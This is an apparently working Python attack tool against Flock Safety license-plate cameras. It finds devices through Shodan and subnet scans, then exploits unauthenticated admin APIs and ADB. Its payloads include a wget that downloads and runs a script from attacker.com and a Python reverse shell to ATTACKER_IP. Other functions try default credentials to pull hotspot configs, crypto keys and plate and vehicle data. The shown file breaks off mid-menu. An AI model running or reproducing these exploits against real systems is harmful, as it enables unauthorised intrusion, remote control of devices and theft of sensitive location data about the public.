Files
2026-07-19 02:41:50 +00:00

1152 lines
52 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python3
"""
FLOCK CVE Scanner + Discover + Traffic Analysis
Scans for:
- CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8)
- CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL)
- CVE-2025-47818: Hardcoded fallback hotspot credentials
- CVE-2025-47823: Hardcoded system password on ALPR firmware
- Flock instance discovery on local subnet
- Cloud vs local station data flow detection
"""
import socket
import ssl
import json
import time
import sys
import os
import re
import hashlib
import base64
import threading
import queue
import subprocess
import telnetlib
import struct
from datetime import datetime
from urllib.parse import urlparse, urljoin
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import csv
import random
# Import traffic tap module (optional)
try:
from flock_tap import FlockTrafficTap, C as TapColors
HAVE_TAP = True
except ImportError:
HAVE_TAP = False
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# ── Flock-known infrastructure for cloud detection ──
FLOCK_CLOUD_DOMAINS = [
"api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com",
"login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com",
"events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com",
"flock-hibiki-inbox.s3.us-east-1.amazonaws.com",
"prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com",
"internal.flocksafety.com", "prometheus.flocksafety.com",
]
FLOCK_CLOUD_IPS = [
"198.202.211.1", # flocksafety.com A
"52.72.49.79", # safelist (AWS)
"34.71.237.120", # scim (GCP)
"104.18.16.189", # websockets (Cloudflare)
"104.18.17.189", # websockets (Cloudflare)
]
# ── Flock ONVIF manufacturer fingerprint strings ──
FLOCK_ONVIF_FINGERPRINTS = [
b"Flock", b"Flock Safety", b"Falcon", b"Sparrow",
b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo",
]
class Colors:
HEADER = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
BLINK = '\033[5m'
# Extended Shodan queries
SHODAN_QUERIES = {
'CVE-2025-59403': [
'title:"Falcon"', 'title:"Sparrow"',
'"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"',
'port:5555 "Android"', '"Android Debug Bridge"',
'port:5037 adb', 'http.title:"ADB"',
'"Falcon" "api" port:443', '"Sparrow" "api" port:443',
'"/api/v1/execute"', '"/api/v1/command"',
],
'CVE-2025-59407': [
'"Android" "v6.35.33"', '"keystore" "hardcoded"',
'"crypto" "key" "Android"', '"/api/v1/keystore"',
'"/api/v1/security"', '"hardcoded_key"', '"default_key"',
],
'CVE-2025-47818': [
'"hotspot" "fallback"', '"/api/v1/hotspot"',
'"default" "hotspot" "credentials"', '"/api/v1/wifi"',
'"hotspot" "config"', '"wifi" "credentials"',
],
'CVE-2025-47823': [
'"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"',
'"/api/v1/alpr"', '"license plate" "system"',
'"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"',
],
'FLOCK_DISCOVERY': [
'title:"admin_page_template"',
'"admin_page_template.html"',
'"/onvif/device_service" Flock',
'"SpeedPourer" port:21',
'"FRP" "flock" port:7000',
'"M5NanoC6" "flock"',
'"flock" "ADB" port:5555',
'ssl.cert.subject.cn:"*.flocksafety.com"',
'ssl.cert.subject.cn:"*.ops.flocksafety.com"',
'org:"Flock Safety"',
'"flock-hibiki"',
],
}
class CVEExploiter:
def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False):
self.verbose = verbose
self.output_file = output_file
self.threads = threads
self.timeout = timeout
self.exploit = exploit
self.results = []
self.lock = threading.Lock()
self.work_queue = queue.Queue()
self.total_scanned = 0
self.vulnerable_found = 0
self.exploited = 0
self.shodan_api_key = None
self.payloads = {
'CVE-2025-59403': {
'command_exec': [
'id', 'whoami', 'uname -a',
'cat /etc/passwd', 'ls -la /', 'ps aux',
'netstat -tulpn', 'ifconfig',
'echo "VULNERABLE" > /tmp/test.txt',
'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh',
'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',
],
'adb_commands': [
'shell id', 'shell whoami', 'shell getprop',
'shell pm list packages', 'shell dumpsys battery',
'shell input keyevent 26',
'shell settings put global adb_enabled 1',
'shell settings put secure install_non_market_apps 1',
],
},
'CVE-2025-59407': {
'crypto_keys': [
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA',
'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==',
'-----BEGIN PRIVATE KEY-----',
'hardcoded_keystore_password',
'android_keystore_key_2024',
'default_crypto_key_v6.35.33',
],
},
}
# ═══════════════════════════════════════════════════
# PRIMITIVE HELPERS
# ═══════════════════════════════════════════════════
def _probe_port(self, host, port, proto="tcp"):
"""Quick TCP connect probe."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
r = s.connect_ex((host, port))
s.close()
return r == 0
except Exception:
return False
def _http_get(self, host, path="/", port=80, timeout=None):
"""Plain HTTP GET, returns body text or None."""
try:
u = f"http://{host}:{port}{path}"
r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
if r.status_code < 500:
return r.text
except Exception:
pass
try:
u = f"https://{host}:443{path}"
r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"})
if r.status_code < 500:
return r.text
except Exception:
pass
return None
def _is_private_ip(self, ip):
try:
first = int(ip.split(".")[0])
if first == 10:
return True
if first == 172 and 16 <= int(ip.split(".")[1]) <= 31:
return True
if first == 192 and ip.split(".")[1] == "168":
return True
except Exception:
pass
return False
def _adb_get_prop(self, host, prop):
"""Try ADB getprop on port 5555."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((host, 5555))
s.send(f"shell getprop {prop}\n".encode())
time.sleep(0.5)
data = s.recv(4096).decode(errors="replace")
s.close()
return data.strip()
except Exception:
return None
def _onvif_probe(self, host):
"""Send ONVIF GetDeviceInformation probe."""
body = (
'<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"'
' xmlns:tds="http://www.onvif.org/ver10/device/wsdl">'
'<soap:Body>'
'<tds:GetDeviceInformation/>'
'</soap:Body></soap:Envelope>'
)
for port in (80, 443, 8899):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((host, port))
req = (
f"POST /onvif/device_service HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/soap+xml; charset=utf-8\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n{body}"
)
s.send(req.encode())
resp = s.recv(4096)
s.close()
# Check for Flock-specific manufacturer strings
if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS):
# Extract manufacturer/model
m = re.search(rb"<tds:Manufacturer>(.*?)</tds:Manufacturer>", resp)
model = re.search(rb"<tds:Model>(.*?)</tds:Model>", resp)
return {
"manufacturer": m.group(1).decode(errors="replace") if m else "unknown",
"model": model.group(1).decode(errors="replace") if model else "unknown",
}
except Exception:
pass
return None
def _check_frp_tunnel(self, host):
"""Check if a Flock FRP tunnel server is listening on common FRP ports."""
for port in (7000, 7500, 7001):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
# FRP server sends a short banner or waits for auth
s.settimeout(2)
try:
banner = s.recv(128)
if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0:
s.close()
return {"port": port, "banner": banner[:64].decode(errors="replace")}
except socket.timeout:
# Connection accepted but no banner — possible FRP
s.close()
return {"port": port, "banner": "(no banner — possible FRP tunnel)"}
s.close()
except Exception:
pass
return None
def _check_dns_resolve(self, hostname):
"""Check if a hostname resolves to a known Flock cloud IP."""
try:
ips = socket.getaddrinfo(hostname, 80)
return [addr[4][0] for addr in ips]
except Exception:
return []
def _check_cloud_connection(self, camera_ip):
"""
Probe a suspected camera to determine if it talks to Flock cloud
or a local station. Uses three methods:
A) DNS test on the camera's configured DNS server
B) Check if the admin web UI contains cloud URLs
C) Port-scan for local relay
"""
evidence = []
# B) Probe admin web interface for embedded cloud URLs
for path in ("/", "/metadata", "/config", "/config/network", "/status"):
body = self._http_get(camera_ip, path)
if body:
for domain in FLOCK_CLOUD_DOMAINS:
if domain in body:
evidence.append(f"admin_ui_contains_{domain}")
# C) Check for local station relay port
for relay_port in (80, 8080, 9090, 443):
if self._probe_port(camera_ip, relay_port):
evidence.append(f"local_relay_port_{relay_port}")
if evidence:
if any("admin_ui_contains" in e for e in evidence):
return "CLOUD", evidence
return "LOCAL", evidence
return "UNKNOWN", evidence
def _traffic_sniff_analysis(self, camera_ip, duration=30):
"""
Passive DNS / TCP analysis (requires root / scapy).
Falls back to DNS-resolution test if scapy not available.
"""
# Fallback: just try to resolve Flock domains — if the camera's
# network allows it, the camera itself will resolve them.
reachable = []
for domain in FLOCK_CLOUD_DOMAINS[:6]:
ips = self._check_dns_resolve(domain)
if ips:
reachable.append(domain)
if reachable:
return "CLOUD_REACHABLE", reachable
else:
return "NO_CLOUD_REACHABLE", []
# ═══════════════════════════════════════════════════
# FINGERPRINT DISCOVERY
# ═══════════════════════════════════════════════════
def discover_fingerprints(self, host):
"""
Run all Flock fingerprint probes against a single host.
Returns a list of finding dicts.
"""
findings = []
# 1) ADB / Android shell
if self._probe_port(host, 5555):
model = self._adb_get_prop(host, "ro.product.model")
device = self._adb_get_prop(host, "ro.product.device")
if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()):
findings.append({
"type": "FLOCK_ADB", "port": 5555,
"device": model, "cve": "CVE-2025-59403",
"detail": f"ADB accessible, model={model}, device={device}",
})
elif model:
findings.append({
"type": "ANDROID_ADB", "port": 5555,
"device": model,
"detail": f"Android ADB open (non-Flock model='{model}')",
})
# 2) Admin web UI fingerprints
for port in (80, 443):
body = self._http_get(host, "/", port=port)
if body:
if "admin_page_template" in body:
findings.append({
"type": "FLOCK_ADMIN_WEB", "port": port,
"cve": "CVE-2025-59403",
"detail": "admin_page_template.html found — confirmed Flock admin portal",
})
if "SpeedPourer" in body:
findings.append({
"type": "FLOCK_SPEEDPOURER", "port": port,
"detail": "SpeedPourer FTP reference found on admin page",
})
if "flock" in body.lower():
# Generic Flock mention
findings.append({
"type": "FLOCK_GENERIC", "port": port,
"detail": "Page body contains 'flock' text",
})
# 3) ONVIF probe
onvif = self._onvif_probe(host)
if onvif:
findings.append({
"type": "FLOCK_ONVIF",
"detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}",
"onvif_info": onvif,
})
# 4) FRP tunnel
frp = self._check_frp_tunnel(host)
if frp:
findings.append({
"type": "FRP_TUNNEL", "port": frp["port"],
"detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}",
})
# 5) CVE probes (reuse existing logic)
cve_results = self.scan_and_exploit(host)
for cr in cve_results:
findings.append({
"type": cr.get("cve", "CVE"),
"detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}",
"cve_finding": cr,
})
# 6) Cloud connection check
verdict, evid = self._check_cloud_connection(host)
if verdict != "UNKNOWN":
findings.append({
"type": f"DATA_FLOW_{verdict}",
"detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}",
})
return findings
# ═══════════════════════════════════════════════════
# DISCOVERY RUNNER
# ═══════════════════════════════════════════════════
def run_discovery(self, cidr):
"""Multi-threaded subnet discovery for Flock instances."""
import ipaddress
net = ipaddress.ip_network(cidr, strict=False)
hosts = [str(ip) for ip in net.hosts()]
print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}")
print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}")
start = time.time()
discovered = []
def _discover_worker():
while True:
try:
h = self.work_queue.get_nowait()
except queue.Empty:
return
find = self.discover_fingerprints(h)
if find:
with self.lock:
discovered.append({"host": h, "findings": find})
self.results.append({"target": h, "findings": find, "type": "DISCOVERY"})
self.vulnerable_found += len(find)
with self.lock:
self.total_scanned += 1
if self.total_scanned % 25 == 0:
elapsed = time.time() - start
rate = self.total_scanned / elapsed if elapsed > 0 else 0
eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0
sys.stdout.write(
f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] "
f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} "
)
sys.stdout.flush()
self.work_queue.task_done()
for h in hosts:
self.work_queue.put(h)
threads = []
for _ in range(min(self.threads, len(hosts))):
t = threading.Thread(target=_discover_worker, daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join()
elapsed = time.time() - start
print()
print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}")
print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}")
# Show a summary table
if discovered:
print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}")
print("─" * 60)
for d in discovered:
types = ", ".join(f["type"] for f in d["findings"])
print(f"{d['host']:<18} {types:<40}")
return discovered
# ═══════════════════════════════════════════════════
# TRAFFIC ANALYSIS RUNNER
# ═══════════════════════════════════════════════════
def run_traffic_analysis(self, camera_ip):
"""
Analyze whether a Flock camera sends data to the cloud
or a local station. Returns structured verdict.
"""
print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}{Colors.END}")
result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []}
# 1) DNS can it resolve Flock cloud?
dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5)
result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence})
print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}")
if dns_evidence:
for d in dns_evidence[:5]:
print(f" resolves → {d}")
# 2) Admin UI inspection
verdict2, evid2 = self._check_cloud_connection(camera_ip)
result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2})
print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}")
for e in evid2[:5]:
print(f" {e}")
# 3) FRP tunnel check
frp = self._check_frp_tunnel(camera_ip)
if frp:
result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp})
print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}")
print(f" banner: {frp['banner']}")
else:
result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"})
print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}")
# 4) ADB shell → check network config
if self._probe_port(camera_ip, 5555):
gw = self._adb_get_prop(camera_ip, "net.route.gateway")
dns = self._adb_get_prop(camera_ip, "net.dns1")
result["checks"].append({
"test": "adb_network", "verdict": "ADB",
"detail": {"gateway": gw, "dns": dns},
})
print(f" ADB net: gateway={gw} dns={dns}")
# Overall verdict
verdicts = [c["verdict"] for c in result["checks"]]
if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts:
result["overall"] = "CLOUD — data flows to Flock infrastructure"
elif "LOCAL" in verdicts:
result["overall"] = "LOCAL_STATION — data stays on-prem"
else:
result["overall"] = "INDETERMINATE — unable to determine data flow"
print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}")
with self.lock:
self.results.append(result)
return result
# ═══════════════════════════════════════════════════
# EXISTING METHODS (unchanged)
# ═══════════════════════════════════════════════════
def print_banner(self):
banner = f"""
{Colors.RED}================================================================================
{Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ███████╗██████╗{Colors.RED}
{Colors.YELLOW}██╔════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔════╝██╔══██╗{Colors.RED}
{Colors.YELLOW}█████╗ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║██████╔╝█████╗ ██████╔╝{Colors.RED}
{Colors.YELLOW}██╔══╝ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║██╔══██╗██╔══╝ ██╔══██╗{Colors.RED}
{Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║██║ ██║███████╗██║ ██║{Colors.RED}
{Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝{Colors.RED}
{Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗███████╗██████╗ {Colors.RED}
{Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗{Colors.RED}
{Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ █████╗ ██████╔╝{Colors.RED}
{Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══╝ ██╔══██╗{Colors.RED}
{Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║{Colors.RED}
{Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{Colors.RED}
================================================================================{Colors.END}
{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END}
{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END}
{Colors.BOLD}Vulnerabilities:{Colors.END}
{Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END}
{Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END}
{Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END}
{Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END}
{Colors.BOLD}New:{Colors.END}
{Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END}
{Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END}
{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'}
{Colors.BOLD}Threads:{Colors.END} {self.threads}
{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s
"""
print(banner)
# ── Shodan ──
def get_shodan_targets(self, api_key):
targets = []
try:
import shodan
api = shodan.Shodan(api_key)
print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}")
for cve, queries in SHODAN_QUERIES.items():
if cve == "FLOCK_DISCOVERY":
continue # covered below
query = " OR ".join(queries[:3])
print(f"{Colors.CYAN}Searching {cve}...{Colors.END}")
try:
results = api.search(query, limit=50)
for result in results['matches']:
targets.append(result['ip_str'])
print(f"{Colors.GREEN}Found {len(results['matches'])} targets for {cve}{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}Warning for {cve}: {e}{Colors.END}")
if not targets:
fallback = [
'"/api/v1/admin" port:443', '"/api/v1/system" port:443',
'"Falcon" "api" port:443', '"Sparrow" "api" port:443',
'port:5555 "Android"', '"/api/v1/alpr"',
]
print(f"{Colors.YELLOW}Trying fallback queries...{Colors.END}")
for q in fallback:
try:
for r in api.search(q, limit=30)['matches']:
targets.append(r['ip_str'])
except Exception:
pass
targets = list(set(targets))
except ImportError:
print(f"{Colors.RED}Shodan library not installed. Run: pip install shodan{Colors.END}")
except Exception as e:
print(f"{Colors.RED}Shodan error: {e}{Colors.END}")
return targets
# ── CVE scan/exploit methods (preserved exactly) ──
def exploit_cve_59403(self, target, path, payload):
results = []
if 'adb' in str(payload).lower():
for cmd in self.payloads['CVE-2025-59403']['adb_commands']:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((target, 5555))
sock.send(f"{cmd}\n".encode())
response = sock.recv(4096).decode()
sock.close()
results.append({'cve': 'CVE-2025-59403', 'target': target, 'method': 'ADB',
'command': cmd, 'output': response[:500], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}ADB Exploit Success on {target}: {cmd}{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}ADB exploit failed on {target}: {e}{Colors.END}")
else:
for cmd in self.payloads['CVE-2025-59403']['command_exec']:
if 'ATTACKER_IP' in cmd:
attacker_ip = input(f"{Colors.CYAN}Enter your listener IP for reverse shell: {Colors.END}")
cmd = cmd.replace('ATTACKER_IP', attacker_ip)
payload = {'command': cmd, 'cmd': cmd, 'action': 'exec', 'execute': cmd, 'payload': cmd}
url = f"http://{target}{path}"
try:
resp = requests.post(url, json=payload, timeout=self.timeout, verify=False)
if resp.status_code == 200:
results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
'command': cmd, 'response': resp.text[:500], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}API Exploit Success on {target}: {cmd}{Colors.END}")
if 'root' in resp.text or 'uid=' in resp.text:
print(f"{Colors.RED}ROOT ACCESS GAINED{Colors.END}")
except Exception as e:
if self.verbose:
print(f"{Colors.YELLOW}API exploit failed: {e}{Colors.END}")
return results
def exploit_cve_59407(self, target, path, response_text):
results = []
for pattern in self.payloads['CVE-2025-59407']['crypto_keys']:
if pattern in response_text:
kp = re.compile(f'{pattern}[A-Za-z0-9+/=]+')
for key in kp.findall(response_text):
results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
'key_found': key[:100], 'exploited': True})
if self.verbose:
print(f"{Colors.GREEN}Crypto key extracted from {target}{Colors.END}")
return results
def exploit_cve_47818(self, target, path, credentials):
results = []
u, p = credentials.split(':')
url = f"http://{target}{path}"
try:
resp = requests.get(url, auth=(u, p), timeout=self.timeout, verify=False)
if resp.status_code == 200:
for ep in ['/config', '/settings', '/wifi', '/network', '/status']:
try:
r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
if r2.status_code == 200:
results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': ep,
'credentials': credentials, 'config_data': r2.text[:500], 'exploited': True})
except Exception:
pass
except Exception:
pass
return results
def exploit_cve_47823(self, target, path, credentials):
results = []
u, p = credentials.split(':')
try:
resp = requests.get(f"http://{target}{path}", auth=(u, p), timeout=self.timeout, verify=False)
if resp.status_code == 200:
for ep in ['/vehicles', '/plates', '/camera', '/captures', '/database']:
try:
r2 = requests.get(f"http://{target}{ep}", auth=(u, p), timeout=self.timeout, verify=False)
if r2.status_code == 200:
results.append({'cve': 'CVE-2025-47823', 'target': target, 'path': ep,
'credentials': credentials, 'alpr_data': r2.text[:500], 'exploited': True})
except Exception:
pass
except Exception:
pass
return results
def scan_and_exploit(self, target):
results = []
for path in ['/api/v1/admin/execute', '/api/v1/admin/command', '/api/v1/system/exec']:
for payload in [{"cmd": "id"}, {"command": "whoami"}]:
try:
resp = requests.post(f"http://{target}{path}", json=payload, timeout=self.timeout, verify=False)
if resp.status_code == 200 and any(i in resp.text.lower() for i in ['uid=', 'root', 'executed']):
if self.exploit:
er = self.exploit_cve_59403(target, path, payload)
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-59403', 'target': target, 'path': path,
'vulnerable': True, 'exploited': False})
except Exception:
pass
for path in ['/api/v1/crypto/key', '/api/v1/keystore']:
try:
resp = requests.get(f"http://{target}{path}", timeout=self.timeout, verify=False)
if resp.status_code == 200:
for p2 in self.payloads['CVE-2025-59407']['crypto_keys']:
if p2 in resp.text:
if self.exploit:
er = self.exploit_cve_59407(target, path, resp.text)
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-59407', 'target': target, 'path': path,
'vulnerable': True, 'exploited': False})
break
except Exception:
pass
for cred in [('admin', 'admin'), ('root', 'root'), ('admin', 'password')]:
for path in ['/api/v1/hotspot/config', '/api/v1/wifi/credentials']:
try:
resp = requests.get(f"http://{target}{path}", auth=cred, timeout=self.timeout, verify=False)
if resp.status_code == 200:
if self.exploit:
er = self.exploit_cve_47818(target, path, f"{cred[0]}:{cred[1]}")
results.extend(er)
with self.lock:
self.exploited += len(er)
else:
results.append({'cve': 'CVE-2025-47818', 'target': target, 'path': path,
'credentials': f"{cred[0]}:{cred[1]}",
'vulnerable': True, 'exploited': False})
break
except Exception:
pass
return results
def worker(self):
while not self.work_queue.empty():
target = self.work_queue.get()
try:
results = self.scan_and_exploit(target)
if results:
with self.lock:
self.results.extend(results)
self.vulnerable_found += sum(1 for r in results if r.get('vulnerable', False))
for r in results:
if r.get('exploited', False):
self.print_exploit_result(r)
elif r.get('vulnerable', False):
self.print_vulnerability(r)
self.total_scanned += 1
if self.total_scanned % 5 == 0:
os.system('clear' if os.name == 'posix' else 'cls')
self.print_banner()
print(self.print_scanning_status())
except Exception as e:
if self.verbose:
print(f"{Colors.RED}Error scanning {target}: {e}{Colors.END}")
finally:
self.work_queue.task_done()
def print_scanning_status(self):
return f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SCAN STATUS{Colors.END}
-------------------------------------------------------------
Total Targets : {self.total_scanned}
Vulnerable : {self.vulnerable_found}
Exploited : {self.exploited}
Queue Size : {self.work_queue.qsize()}
Elapsed Time : {datetime.now().strftime('%H:%M:%S')}
-------------------------------------------------------------
{Colors.END}"""
def print_exploit_result(self, result):
cve = result.get('cve', 'Unknown')
target = result.get('target', 'Unknown')
print(f"""
{Colors.RED}{Colors.BLINK}EXPLOIT SUCCESSFUL{Colors.END}
{Colors.CYAN}-------------------------------------------------------------
CVE: {cve}
Target: {target}
Method: {result.get('method', 'API')}
Command: {result.get('command', 'N/A')[:30]}
Output: {str(result.get('output', ''))[:40]}
-------------------------------------------------------------
{Colors.END}""")
def print_vulnerability(self, result):
cve = result.get('cve', 'Unknown')
target = result.get('target', 'Unknown')
colors = {'CVE-2025-59403': Colors.RED, 'CVE-2025-59407': Colors.RED,
'CVE-2025-47818': Colors.YELLOW, 'CVE-2025-47823': Colors.YELLOW}
color = colors.get(cve, Colors.END)
print(f"""
{color}-------------------------------------------------------------
VULNERABILITY FOUND
-------------------------------------------------------------
CVE: {cve}
Target: {target}
Path: {result.get('path', 'N/A')}
Credentials: {result.get('credentials', 'N/A')}
-------------------------------------------------------------
{Colors.END}""")
def scan_network(self, targets):
if not targets:
print(f"{Colors.RED}No targets to scan{Colors.END}")
return
for t in targets:
self.work_queue.put(t.strip())
print(f"{Colors.GREEN}Starting {'exploitation' if self.exploit else 'scanning'} with {self.threads} threads{Colors.END}")
print(f"{Colors.YELLOW}Press Ctrl+C to stop{Colors.END}")
threads = []
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.start()
threads.append(t)
try:
for t in threads:
t.join()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Stopping...{Colors.END}")
self.print_summary()
def print_summary(self):
os.system('clear' if os.name == 'posix' else 'cls')
self.print_banner()
print(f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SCAN COMPLETE{Colors.END}
-------------------------------------------------------------
Total Scanned : {self.total_scanned}
Vulnerable : {self.vulnerable_found}
Exploited : {self.exploited}
-------------------------------------------------------------
{Colors.BOLD}Results by CVE{Colors.END}
-------------------------------------------------------------
{Colors.END}""")
grouped = {}
for r in self.results:
cve = r.get('cve', 'Unknown')
grouped.setdefault(cve, []).append(r)
for cve, rs in grouped.items():
exploited = sum(1 for r in rs if r.get('exploited', False))
vulnerable = sum(1 for r in rs if r.get('vulnerable', False))
print(f"""
{Colors.BOLD}{cve}{Colors.END}
Exploited: {exploited}
Vulnerable: {vulnerable}
Examples:""")
for i, r in enumerate(rs[:3], 1):
if r.get('exploited', False):
print(f" {i}. {Colors.RED}{r.get('target', 'N/A')} - EXPLOITED{Colors.END}")
else:
print(f" {i}. {r.get('target', 'N/A')} - {r.get('path', 'N/A')}")
if self.output_file:
self.save_results()
def save_results(self):
try:
with open(self.output_file, 'w') as f:
json.dump(self.results, f, indent=2)
print(f"\n{Colors.GREEN}Results saved to {self.output_file}{Colors.END}")
except Exception as e:
print(f"\n{Colors.RED}Failed to save results: {e}{Colors.END}")
# ═══════════════════════════════════════════════════
# INTERACTIVE MENU (extended)
# ═══════════════════════════════════════════════════
def generate_targets(self):
print(f"""
{Colors.CYAN}-------------------------------------------------------------
{Colors.BOLD}SELECT INPUT METHOD{Colors.END}
-------------------------------------------------------------
1. Single IP
2. IP Range (CIDR)
3. From File (IPs list)
4. Shodan Query (requires Shodan API)
5. Falcon/Sparrow Signatures
